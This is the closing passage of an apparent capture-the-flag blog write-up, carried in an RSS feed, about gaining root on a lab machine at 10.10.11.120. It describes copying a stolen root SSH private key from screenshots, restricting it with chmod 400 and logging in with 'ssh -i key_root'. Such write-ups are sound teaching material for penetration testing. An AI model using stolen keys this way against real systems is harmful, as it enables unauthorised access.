src="https://cdn-images-1.medium.com/max/686/1*4-XKnFcWSSm4L_za9fccAg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*yQihZiYqNA2tuU0aFobZPw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/417/1*0sI8eYmQLB5gAfU1HVkPxg.png" /></figure><p>And here it is, the SSH private key of root machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/524/1*MaNXOgfXb5PMrClTM0fxWQ.png" /></figure><p>Copy and paste it to my own SSH private key and stored it under the name of “key_root”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*JhFdZBhemW8ENoRYw1EG-g.png" /></figure><p>Change chmod (change mode) from writable and readable to readable only (code: 400). Run it again using ssh -i key_root <a href="/service/mailto:root@10.10.11.120">root@10.10.11.120</a> and successfully elevated the privilege.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*saCbw4WKzyjlzczlHcecsQ.png" /></figure><p>That’s all! The box has been pwned.</p><h3>Thank you for reading my report, hope this helps you or do anything good :D Have a Nice Day!</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7917072db510" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>